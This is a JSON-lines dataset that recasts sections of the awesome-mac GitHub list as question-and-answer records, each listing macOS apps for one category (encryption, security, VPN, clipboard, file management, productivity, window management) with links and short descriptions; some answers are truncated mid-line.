{"id": "gh_f7851efea9ab", "question": "How to: Encryption", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Cryptomator](https://cryptomator.org/) -  Multi-platform transparent client-side encryption of your files in the cloud. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/cryptomator/cryptomator/)\n* [Deadbolt](https://github.com/alichtman/deadbolt) - The easiest file encryption tool you'll ever use. macOS-compatible, and open-source so you can trust it. [![Open-Source Software][OSS Icon]](https://github.com/alichtman/deadbolt) ![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443484"}
{"id": "gh_8b16fdae1dd1", "question": "How to: Security Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Antivirus One](https://cleanerone.trendmicro.com/antivirus-one-for-mac/?utm_source=github&utm_medium=referral&utm_campaign=githubproject) - Trusted Mac Security Protection: Protect your Mac from viruses, malware and adware. Block potential web threats and protect your Mac against vulnerabilities.![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/apple-store/id1068435535?pt=444218&ct=GitHub&mt=8)\n* [BlockBlock](https://objective-see.com/products/blockblock.html) - Me: \"Please alert me whenever anything is persistently installed.\" BlockBlock: \"You got it\" [![Open-Source Software][OSS Icon]](https://github.com/objective-see/BlockBlock)\n* [Dylib Hijack Scanner](https://objective-see.com/products/dhs.html) - Simple utility that will scan your computer for applications that are either susceptible to dylib hijacking or have been hijacked. [![Open-Source Software][OSS Icon]](https://github.com/objective-see/DylibHijackScanner)\n* [KextViewer](https://objective-see.com/products/kextviewr.html) - View all modules on that are loaded in the OS kernel. [![Open-Source Software][OSS Icon]](https://github.com/objective-see/KextViewr)\n* [KnockKnock](https://objective-see.com/products/knockknock.html) - See what's persistently installed on your Mac. [![Open-Source Software][OSS Icon]](https://github.com/objective-see/KnockKnock)\n* [LinkLiar](http://halo.github.io/LinkLiar) -  Link-Layer MAC spoofing GUI for macOS. [![Open-Source Software][OSS Icon]](https://github.com/halo/LinkLiar) ![Freeware][Freeware Icon]\n* [LockDown](https://objective-see.com/products/lockdown.html) - Open-source tool for El Capitan that audits and remediates security configuration settings. [![Open-Source Software][OSS Icon]](https://bitbucket.org/objective-see/lockdown) ![Freeware][Freeware Icon]\n* [LuLu](https://objective-see.com/products/lulu.html) - LuLu is the free macOS firewall that aims to block unauthorized (outgoing) network traffic. [![Open-Source Software][OSS Icon]](https://github.com/objective-see/LuLu) [![Open-Source Software][OSS Icon]](1) ![Freeware][Freeware Icon]\n* [MalwareBytes](https://www.malwarebytes.com/mac-download/) - Malwarebytes crushes the growing threat of Mac malware, so you are protected and your machine keeps running silky smooth. Cybersecurity smart enough for the Mac. ![Freeware][Freeware Icon]\n* [Mana Security](https://www.manasecurity.com/) - vulnerability management app for individuals. [![Open-Source Software][OSS Icon]](https://github.com/manasecurity/mana-security-app)\n* [Vulert](https://vulert.com) - Vulert secures software by detecting vulnerabilities in open-source dependencies—without accessing your code. It supports Js, PHP, Java, Python, and more\n* [OverSight](https://objective-see.com/products/oversight.html) - Monitor mic and webcam, alerting you when the internal mic is activated, or whenever a process accesses the webcam. [![Open-Source Software][OSS Icon]](https://github.com/objective-see/OverSight)\n* [ParetoSecurity](https://paretosecurity.com/) - A MenuBar app to automatically audit your Mac for basic security hygiene. [![Open-Source Software][OSS Icon]](https://github.com/ParetoSecurity/pareto-mac)\n* [RansomWhere?](https://objective-see.com/products/ransomwhere.html) - Generic Ransomware Detection. [![Open-Source Software][OSS Icon]](https://github.com/objective-see/RansomWhere)\n* [stronghold](https://github.com/alichtman/stronghold) - Easily configure MacOS security settings from the terminal. [![Open-Source Software][OSS Icon]](https://github.com/alichtman/stronghold) ![Freeware][Freeware Icon]\n* [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/) - An application for inspecting macOS installer packages. ![Freeware][Freeware Icon]\n* [swiftGuard](https://github.com/Lennolium/swiftGuard) - Lightweight App that safeguards your System's USB Ports from any Unauthorized Access and performs various Counter-Measures. [![Open-Source Software][OSS Icon]](https://github.com/Lennolium/swiftGuard) ![Freeware][Freeware Icon]\n* [TaskExplorer](https://objective-see.com/products/taskexplorer.html) - Explore all processes running on your Mac with TaskExplorer. [![Open-Source Software][OSS Icon]](https://github.com/objective-see/TaskExplorer)\n* [What's Your Sign?](https://objective-see.com/products/whatsyoursign.html) - Adds menu item to Finder.app to display the cryptographic signing information for any file.[![Open-Source Software][OSS Icon]](https://github.com/objective-see/WhatsYourSign)", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443497"}
{"id": "gh_3109a6e1e997", "question": "How to: Proxy and VPN Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Algo](https://github.com/trailofbits/algo) - Personal IPSEC VPN in the cloud. [![Open-Source Software][OSS Icon]](https://github.com/trailofbits/algo)\n* [ClashX Guide](https://clashx.tech) - Comprehensive tutorials, tools, and troubleshooting guides for ClashX proxy on macOS. Features YAML validator, rule generator, and optimization tips. ![Freeware][Freeware Icon]\n* [Cloudflare WARP](https://1.1.1.1/) - Replaces the connection between your device and the Internet with a modern, optimized, protocol. ![Freeware][Freeware Icon]\n* [Hiddify](https://github.com/hiddify/hiddify-app) - Multi-platform auto-proxy client, supporting Sing-box, X-ray, TUIC, Hysteria, Reality, Trojan, SSH etc.[![Open-Source Software][OSS Icon]](https://github.com/hiddify/hiddify-app) ![Freeware][Freeware Icon]\n* [Jumper VPN](https://jumpervpn.com/) - VPN Client for Mac and other platforms, secure, fast VPN proxy.\n* [Lantern](https://getlantern.org) - Free application that delivers fast, reliable and secure access to the open internet. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/getlantern/lantern)\n* [Mullvad VPN](https://mullvad.net) - Privacy focused VPN that requires no personal information for use, keeps no logs, and allows payments with Bitcoin Cash, Monero and more. [![Open-Source Software][OSS Icon]](https://github.com/mullvad/mullvadvpn-app)\n* [Outline](https://getoutline.org/) - Outline makes it easy to create a VPN server, giving anyone access to the free and open internet. [![Open-Source Software][OSS Icon]](https://github.com/Jigsaw-Code) ![Freeware][Freeware Icon]\n* [RerouteMe](https://nadenco.gumroad.com/l/rerouteme) - An easy one-click macOS Proxy Configuration app. ![Freeware][Freeware Icon]\n* [ShadowsocksX-NG](https://github.com/qiuyuzhou/ShadowsocksX-NG) - Next generation of ShadowsocksX. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/qiuyuzhou/ShadowsocksX-NG)\n* [ShadowsocksX](http://shadowsocks.org/) - Secure socks5 proxy, designed to protect your internet traffic. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/shadowsocks/shadowsocks)\n* [Shimo](https://www.shimovpn.com/) - VPN Client for Mac.\n* [SpechtLite](https://github.com/zhuhaow/SpechtLite) - Rule-based proxy app for macOS.  [![Open-Source Software][OSS Icon]](https://github.com/shadowsocks) ![Freeware][Freeware Icon]\n* [Surge](https://nssurge.com/) - Web developer tool and proxy utility for iOS 9.\n* [tinc](https://www.tinc-vpn.org) - Secure mesh VPN software. [![Open-Source Software][OSS Icon]](https://www.tinc-vpn.org/git/browse?p=tinc) ![Freeware][Freeware Icon]\n* [Tunnelbear](https://www.tunnelbear.com) - Really simple VPN to browse the web privately & securely. Unblock websites around the world with applications for Mac, PC, iOS, Android & Chrome.\n* [Tunnelblick](https://tunnelblick.net/downloads.html) - Free, open-source graphic user interface for OpenVPN on OS X. ![Freeware][Freeware Icon]\n* [Windscribe](https://windscribe.com) - Gives 10GB free bandwidth monthly on the spot and gives limited server location options (for users on free plan). Connection also takes very less time.\n* [Tailscale](https://tailscale.com/) - Tailscale makes creating software-defined networks easy: securely connecting users, services, and devices.", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443506"}
{"id": "gh_52fd377f5799", "question": "How to: Clipboard Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [CleanClip](https://cleanclip.cc) - The cleanest Clipboard Manager on macOS, ever! ![Freeware][Freeware Icon]\n* [Clipboard](https://getclipboard.app/) - Easy-to-use terminal clipboard manager for all platforms. [![Open-Source Software][OSS Icon]](https://github.com/Slackadays/Clipboard) ![Freeware][Freeware Icon]\n* [ClipMenu](http://www.clipmenu.com) - Clipboard manager for Mac OS X. [![Open-Source Software][OSS Icon]](https://github.com/naotaka/ClipMenu) ![Freeware][Freeware Icon]\n* [ClipTools](https://macmost.com/cliptools) - ClipTools is a status menu application that gives you access to a variety of simple clipboard utilities. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/cliptools/id1619348240?mt=12)\n* [Clipy](https://clipy-app.com/) - Clipy is a Clipboard extension app for macOS. Based on ClipMenu. [![Open-Source Software][OSS Icon]](https://github.com/Clipy/Clipy) ![Freeware][Freeware Icon]\n* [CopyQ](https://hluk.github.io/CopyQ) - Clipboard Manager with Advanced Features. [![Open-Source Software][OSS Icon]](https://github.com/hluk/CopyQ) ![Freeware][Freeware Icon]\n* [iCopy](https://apps.apple.com/cn/app/icopy-%E5%89%AA%E5%88%87%E6%9D%BF-%E5%BF%AB%E6%8D%B7%E5%9B%9E%E5%A4%8D%E5%B7%A5%E5%85%B7/id1638023723?mt=12) - Clipboard management, quick reply, efficiency multiplier artifact ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/cn/app/icopy-%E5%89%AA%E5%88%87%E6%9D%BF-%E5%BF%AB%E6%8D%B7%E5%9B%9E%E5%A4%8D%E5%B7%A5%E5%85%B7/id1638023723?mt=12)\n* [iPaste](https://en.toolinbox.net/iPaste) - Lightweight and efficient clipboard tool. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/app/id1056935452?ls=1&mt=12&at=1000lv4R&ct=iPaste_me)\n* [Paste Quick](https://wangchujiang.com/paste-quick/) - A simple, privacy-first clipboard manager. [![App Store][app-store Icon]](https://apps.apple.com/app/paste-quick/6723903021)\n* [Paste](http://pasteapp.me) - Smart clipboard history & snippets manager. [![App Store][app-store Icon]](https://apps.apple.com/us/app/paste-clipboard-history-manager/id967805235)\n* [PasteBar](https://github.com/PasteBar/PasteBarApp) - Limitless, Free Clipboard Manager for Mac and Windows. [![Open-Source Software][OSS Icon]](https://github.com/PasteBar/PasteBarApp) ![Freeware][Freeware Icon]\n* [PasteBot](https://tapbots.com/pastebot/) - Powerful clipboard manager. [![App Store][app-store Icon]](https://itunes.apple.com/us/app/pastebot/id1179623856)\n* [Pure Paste](https://sindresorhus.com/pure-paste) - Paste as plain text by default. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id1611378436)\n* [Flycut](https://github.com/TermiT/Flycut) - Clean and simple clipboard manager for developers. [![Open-Source Software][OSS Icon]](https://github.com/TermiT/Flycut) ![Freeware][Freeware Icon]\n* [Maccy](https://maccy.app/) - Lightweight clipboard manager for macOS. [![Open-Source Software][OSS Icon]](https://github.com/p0deje/Maccy) ![Freeware][Freeware Icon]\n* [OneClip](https://github.com/Wcowin/OneClip) - A simple and professional macOS clipboard manager. [![Open-Source Software][OSS Icon]](https://github.com/Wcowin/OneClip) ![Freeware][Freeware Icon]\n* [uPaste](https://okaapps.com/product/1503649026) - Smart clipboard history & snippets manager, record and organize your copy/paste history automatically. Then you can use your pasteboard content anytime, any where with elegant beautiful UI. [![App Store][app-store Icon]](macappstore://itunes.apple.com/app/id1503649026?pt=119209922&l=en&mt=12&ct=github)\n* [Yippy](https://github.com/mattDavo/Yippy) - Clipboard manager with user-friendly UI. [![Open-Source Software][OSS Icon]](https://github.com/mattDavo/Yippy) ![Freeware][Freeware Icon]\n* [ClipFlow](https://github.com/praneeth552/clipflow) - Free clipboard history manager with terminal-style navigation. [![Open-Source Software][OSS Icon]](https://github.com/praneeth552/clipflow) ![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443516"}
{"id": "gh_4e5b42ebbfa8", "question": "How to: File Organization Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [BetterZip](https://macitbetter.com/) - Archive tool supports ZIP, TAR, TGZ, TBZ, TXZ (new), 7-ZIP, RAR.\n* [eZip](http://ezip.awehunt.com) - An easy to use, feature-rich archiver for macOS. Supports popular formats such as RAR, ZIP, 7Z, BZ2, GZ etc. Works great with Mojave dark-mode and QuickLook. ![Freeware][Freeware Icon]\n* [Fileside](https://www.fileside.app) - A modern, tiling file manager with unlimited panes.\n* [Folders File Manager](https://foldersapp.dev) - A file manager with an expandable folder tree, similar to that of Windows Explorer.\n* [Hazel](https://www.noodlesoft.com) - Automated file organization for your Mac. Responsibly and beautifully designed.\n* [Keka](https://www.keka.io) - File archiver for macOS. Compression: 7Z, ZIP, TAR, GZIP, BZIP2, XZ LZIP, DMG, ISO. Extraction: 7Z, ZIP, RAR, TAR, GZIP, BZIP2, XZ, LZIP, DMG, ISO, LZMA, EXE, CAB, WIM, PAX, JAR, APK, APPX, CPGZ, CPIO. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/app/keka/id470158793)\n* [muCommander](http://www.mucommander.com) - Lightweight file manager with a dual-pane interface. [![Open-Source Software][OSS Icon]](https://github.com/mucommander/mucommander) ![Freeware][Freeware Icon]\n* [Modal File Manager](https://github.com/raguay/ModalFileManager/) - A lightweight, minimal dual-pane file manager with Vim style hotkeys. It can be customized with themes and extensions that are downloaded from GitHub using a built in interface. [![Open-Source Software][OSS Icon]](https://GitHub.com/raguay/ModalFileManager) ![Freeware][Freeware Icon]\n* [Oka Unarchiver](https://okaapps.com/product/1441507725) - Support RAR format, batch decompression of archives, password-protected archives, click one button to extract & archive.. [![App Store][app-store Icon]](macappstore://itunes.apple.com/app/id1441507725?pt=119209922&l=en&mt=12&ct=github)\n* [PDF Archiver](https://github.com/JulianKahnert/PDF-Archiver) - Nice tool for tagging and archiving tasks. [![Open-Source Software][OSS Icon]](https://github.com/JulianKahnert/PDF-Archiver) [![App Store][app-store Icon]](https://itunes.apple.com/app/pdf-archivar/id1352719750)\n* [Rapidmg](https://rapidmg.branchseer.com/) 1-Click extracting apps from DMG images to the \"Applications\" folder. [![App Store][app-store Icon]](https://apps.apple.com/app/rapidmg/id6451349778)\n* [The Unarchiver](https://theunarchiver.com/) - Unarchive many different kinds of archive files. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/the-unarchiver/id425424353)\n* [Unarchive One](https://cleanerone.trendmicro.com/unarchiver-one/?utm_source=github&utm_medium=referral&utm_campaign=githubproject) - Quickly decompress multiple different types of compressed files/compressed files to various scene compression formats. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/apple-store/id1127253508?pt=444218&ct=GitHub&mt=8)\n* [Marta](https://marta.sh) - File Manager for macOS written entirely in Swift ![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443558"}
{"id": "gh_ba25c9245939", "question": "How to: General Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [AirServer](http://www.airserver.com/Download) - Most advanced screen mirroring software receiver for Mac, PC and Xbox One.\n* [CleanMyMac](https://macpaw.com/cleanmymac) - Delete megatons of junk, malware, and make your Mac faster & more organized [![App Store][app-store Icon]](https://apps.apple.com/us/app/cleanmymac/id1339170533?mt=12)\n* [DNS Optimizer](https://www.appecosys.com/apps/dns-optimizer/) - A DNS changer and performance‑benchmarking tool for Apple devices (macOS & iOS). ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/dns-optimizer/id6741016224?platform=mac)\n* [DevKnife](https://devknife.app) - A native Mac app for dozens of daily dev tasks, from network scans to JSON formatting.\n* [DevToysMac](https://github.com/ObuchiYuki/DevToysMac) - Offline toolbox that helps developers in daily tasks. ![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]\n* [DevUtils.app](https://devutils.com/) - All-in-one Toolbox for Developers. Format/Validate JSON, encode/decode Base64, convert timestamps, debug JWT… with just one click! Native macOS app and works offline. [![Open-Source Software][OSS Icon]](https://github.com/DevUtilsApp/DevUtils-app) ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/devutils-app/id1533756032)\n* [Deskmark](https://apps.apple.com/app/Deskmark/6755948110) - Add watermarks to the desktop, ideal for recording videos. [![App Store][app-store Icon]](https://apps.apple.com/app/Deskmark/6755948110)\n* [Etcher](https://www.balena.io/etcher/) - Flash OS images to SD cards & USB drives, safely and easily. [![Open-Source Software][OSS Icon]](https://github.com/balena-io/etcher) ![Freeware][Freeware Icon]\n* [Equinox](https://github.com/rlxone/Equinox) - Create dynamic wallpapers for macOS. ![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/equinox-create-wallpaper/id1591510203)\n* [HTTrack](http://www.httrack.com) - Useful tool for downloading a whole website and offline browsing. ![Freeware][Freeware Icon]\n* [Latest](https://github.com/mangerlahn/Latest) - A tiny app that checks if all your apps from any source are up to date. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/mangerlahn/Latest)\n* [Lungo](https://sindresorhus.com/lungo) - Prevent your Mac from going to sleep. [![App Store][app-store Icon]](https://apps.apple.com/us/app/lungo/id1263070803)\n* [LaunchNext](https://github.com/RoversX/LaunchNext) - Classic Launchpad experience, relive old macOS. [![Open-Source Software][OSS Icon]](https://github.com/RoversX/LaunchNext) ![Freeware][Freeware Icon]\n* [lo-rain](https://lo.cafe/lo-rain) - Create a customizable rain over your desktop and apps, with splash over the dock.\n* [Mac Cache Cleaner](https://github.com/kaunteya/MacCacheCleaner) - Cache cleaner for Mac [![Open-Source Software][OSS Icon]](https://github.com/kaunteya/MacCacheCleaner) ![Freeware][Freeware Icon]\n* [Memo](http://memo-app.net/) - Simple and elegant app. Unlock memos even more quickly using Touch ID. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/app/id1212409035)\n* [Numi](http://numi.io/) - Beautiful calculator app for Mac. ![Freeware][Freeware Icon]\n* [NextDNS](https://nextdns.io/) - The new firewall for the modern Internet. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/nextdns/id1464122853)\n* [Plash](https://sindresorhus.com/plash) - Make any website your desktop wallpaper. [![Open-Source Software][OSS Icon]](https://github.com/sindresorhus/Plash) ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/plash/id1494023538)\n* [rem](https://github.com/jasonjmcghee/rem) - An open source approach to locally record and enable searching everything you view on your Mac. [![Open-Source Software][OSS Icon]](https://github.com/jasonjmcghee/rem) ![Freeware][Freeware Icon]\n* [Rewind](https://www.rewind.ai/) - Rewind is an application designed for macOS that records and indexes all user activities on the Mac, including screen content and audio. Users can rewind and search past activities, essentially adding a \"rewind button\" to the Mac.\n* [SlowQuitApps](https://github.com/dteoh/SlowQuitApps) - An OS X app that adds a global delay of 1 second to the Cmd-Q shortcut. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/dteoh/SlowQuitApps)\n* [Speediness](https://sindresorhus.com/speediness) - Check your internet speed. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id1596706466)\n* [Ultra TabSaver](https://github.com/Swift-open-source/UltraTabSaver) - The Open Source Tab Manager for Safari [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/Swift-open-source/UltraTabSaver)\n* [Upscayl](https://github.com/upscayl/upscayl) - Free and open-source AI image up", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443574"}
{"id": "gh_090df9774b6f", "question": "How to: To-Do Lists", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [2Do](http://www.2doapp.com/) - Nice todo app.\n* [Day-O 2](http://www.shauninman.com/archive/2016/10/20/day_o_2_mac_menu_bar_clock) - Menu bar clock replacement with built-in calendar. ![Freeware][Freeware Icon]\n* [Fantastical](https://flexibits.com/fantastical) - The calendar app you won't be able to live without.\n* [Focus](https://meaningful-things.com/focus) - Beautiful pomodoro-based time manager. [![App Store][app-store Icon]](https://itunes.apple.com/us/app/focus-productivity-timer/id777233759?mt=12)\n* [Focused Work: Focus Timer](https://focusedwork.app) - A simple, flexible Focus Timer. [![App Store][app-store Icon]](https://apps.apple.com/us/app/focused-work-focus-timer/id1523968394?uo=4)\n* [Lunatask](https://lunatask.app) - An all-in-one encrypted to-do list, habit and mood tracker, journaling and notes app. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/lunatask-a-better-to-do-list/id1583719331?mt=12)\n* [Microsoft To-Do](https://todo.microsoft.com/) - Microsoft's successor to Wunderlist. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/de/app/microsoft-to-do/id1274495053?mt=12)\n* [Nozbe](https://nozbe.com) - Powerful GTD app for individuals and teams, with support for every Apple device (Mac, iPhone, iPad, Watch). [![App Store][app-store Icon]](https://itunes.apple.com/pl/app/nozbe-tasks-projects-team/id508957583?mt=12)\n* [OmniFocus](https://www.omnigroup.com/omnifocus/) - Nice GTD app, made by OmniGroups.\n* [One Task](https://sindresorhus.com/one-task) - Conquer one task at a time. [![App Store][app-store Icon]](https://apps.apple.com/app/id6465745322)\n* [Super Productivity](https://super-productivity.com) - Cross-platform todo list app with integrated Timeboxing and time tracking capabilities. [![Open-Source Software][OSS Icon]](https://github.com/johannesjo/super-productivity) ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/cn/app/super-productivity/id1482572463?mt=12)\n* [Taskade](https://www.taskade.com) - Real-time collaborative editor for teams.\n* [TaskPaper](https://www.taskpaper.com/) - Plain text to-do lists.\n* [Things](https://culturedcode.com/things/) - Delightful and easy to use task manager. (**Award-winning App**)\n* [Todoist](https://todoist.com/mac) - Cross-platform todo list app. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/todoist-to-do-list-tasks/id585829637?mt=12)\n* [Tomato 2](https://tomato2.app) - Beautiful and simple Pomodoro timer. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/tomato-2-pomodoro-timer/id1494210770?mt=12)\n* [TickTick](https://ticktick.com/) - Simple and effective to-do list and task manager that helps you organize all aspects of life. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://itunes.apple.com/app/id966085870)", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443582"}
{"id": "gh_30f002d61dfd", "question": "How to: Productivity", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [1440 Minutes Left Today](https://1440app.com/) - Keep a track of how many minutes you have left until the day is over, right in your menu bar. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/1440/id1483764819)\n* [ActivityWatch](https://activitywatch.net/) - Cross-platform, extensible, and privacy-focused time-tracker. [![Open-Source Software][OSS Icon]](https://github.com/ActivityWatch/activitywatch) ![Freeware][Freeware Icon]\n* [Alfred](https://www.alfredapp.com/) - Award-winning app which boosts efficiency with hotkeys, keywords, text expansion and more. Search your Mac and the web, and be more productive with custom actions to control your Mac. [![Awesome List][awesome-list Icon]](https://github.com/learn-anything/alfred-workflows#readme)\n* [Atomic](https://indiegoodies.com/atomic) - A habit tracker app to build good habits, break bad ones, and stay on top of your daily routines.\n* [Better Launchpad](https://github.com/rewhex/better-launchpad) - A smarter, free, and highly customizable application launcher for macOS with fast search.\n* [BetterMouse](https://better-mouse.com) - Smooth scroll, cursor acceleration prohibition, and powerful button/gesture remapping in one utility for 3rd-party mice. Aims for replacing those bulky and intrusive official drivers.\n* [BetterTouchTool](https://folivora.ai/) - Great, feature-packed app that allows you to configure many gestures for your Magic Mouse, Macbook Trackpad, Magic Trackpad and also Mouse Gestures for normal mice.\n* [Cerebro](https://cerebroapp.com/) - Open-source productivity booster with a brain. [![Open-Source Software][OSS Icon]](https://github.com/cerebroapp/cerebro) ![Freeware][Freeware Icon]\n* [Choosy](https://www.choosyosx.com) - UI, URL API and a browser extension set for managing rules where and how to open links.\n* [CursorSense](https://www.plentycom.jp/en/cursorsense/index.html) - Mouse & trackpad driver that lets you tweak the acceleration curve and more.\n* [Day Progress](https://sindresorhus.com/day-progress) - Time remaining today in your menu bar. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id6450280202)\n* [Dropzone](https://aptonic.com) - Create a popup grid of customizable actions. Scriptable in Ruby & Python.\n* [escrcpy](https://github.com/viarotel-org/escrcpy) -📱 Graphical Scrcpy to display and control Android devices, powered by Electron.[![Open-Source Software][OSS Icon]](https://github.com/viarotel-org/escrcpy) ![Freeware][Freeware Icon]\n* [Focalboard](https://www.focalboard.com/) - Open source, self-hosted alternative to Trello, Notion, and Asana. [![Open-Source Software][OSS Icon]](https://github.com/mattermost/focalboard) ![Freeware][Freeware Icon]\n* [Focus Firewall](https://focusfirewall.com) - A minimalist focus app to block social media and other distractions during work. [![App Store][app-store Icon]]([https://apps.apple.com/app/apple-store/id6476942786?pt=124015613&ct=awesome-mac&mt=8](https://apps.apple.com/app/apple-store/id6476942786?pt=124015613&ct=awesome-mac&mt=8))\n* [Freeter](https://freeter.io/) - Open-source app that allows you to gather everything you need for work in one place, organized by projects and workflows, and have a quick access to them. [![Open-Source Software][OSS Icon]](https://github.com/FreeterApp/Freeter) ![Freeware][Freeware Icon]\n* [Hammerspoon](http://www.hammerspoon.org/) - Tool for powerful OSX automation with the Lua scripting engine. [![Open-Source Software][OSS Icon]](https://github.com/Hammerspoon/hammerspoon) ![Freeware][Freeware Icon]\n* [HapticKey](https://github.com/niw/HapticKey/releases) - A simple utility application for MacBook with Touch Bar that triggers a haptic feedback when tapping Touch Bar. [![Open-Source Software][OSS Icon]](https://github.com/niw/HapticKey) ![Freeware][Freeware Icon]\n* [HazeOver](https://hazeover.com) - App that dims your background app windows so you can focus more on your main task! [![App Store][app-store Icon]](https://apps.apple.com/ph/app/hazeover-distraction-dimmer/id430798174?mt=12)\n* [Hook for Mac](https://hookproductivity.com/) - Hook files together fast and easily, enabling you to find anything related with a simple keyboard shortcut.\n* [Hungrymark](https://zhengying.github.io/hungrymark) - Useful app to bookmark your files, folders, and webs, quick access your bookmarks through menu bar  [![App Store][app-store Icon]](https://apps.apple.com/us/app/hungrymark/id1482778901?l=en&mt=12)\n* [Hyperkey](https://hyperkey.app/) - Lets you convert the caps lock key or any modifier key to the hyper key, all four modifiers combined: ⌃⌥⌘⇧. ![Freeware][Freeware Icon]\n* [iCMD](https://icmd.app) - Fuzzy menubar search and vim/easymotion emulation which works globally for every native MacOS app.\n* [Journey Navigation](https://gowithjourney.com) - A powerful route planning app with weather along your route, traffic alerts, turn by turn directions, and more. [![App Store][app-store Ic", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443626"}
{"id": "gh_f1b7dedb380e", "question": "How to: Window Management", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [AeroSpace](https://github.com/nikitabobko/AeroSpace) - i3-like tiling window manager for macOS. [![Open-Source Software][OSS Icon]](https://github.com/nikitabobko/AeroSpace) ![Freeware][Freeware Icon]\n* [AltTab](https://alt-tab-macos.netlify.app) - Open source window switcher with window previews. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/lwouis/alt-tab-macos)\n* [Amethyst](http://ianyh.com/amethyst/) - Tiling window manager. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/ianyh/Amethyst)\n* [Assignee](https://assignee.app) - Simple, instant app switcher. [![App Store][app-store Icon]](https://apps.apple.com/app/apple-store/id1491598904?pt=120234215&ct=awesome-mac&mt=8)\n* [contexts](https://contexts.co/) - Provides more power than the native Mac Dock. Especially when you have multiple screens, it can help you switch more quickly.\n* [DockDoor](https://dockdoor.net) - Free and open source window peeking & alt-tab for macOS. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/ejbills/DockDoor)\n* [Dockit](https://dockit-docs.pages.dev) - An application that can dock any window to the edge of the screen. [![Open-Source Software][OSS Icon] ![Freeware][Freeware Icon]](https://github.com/XiCheng148/Dockit)\n* 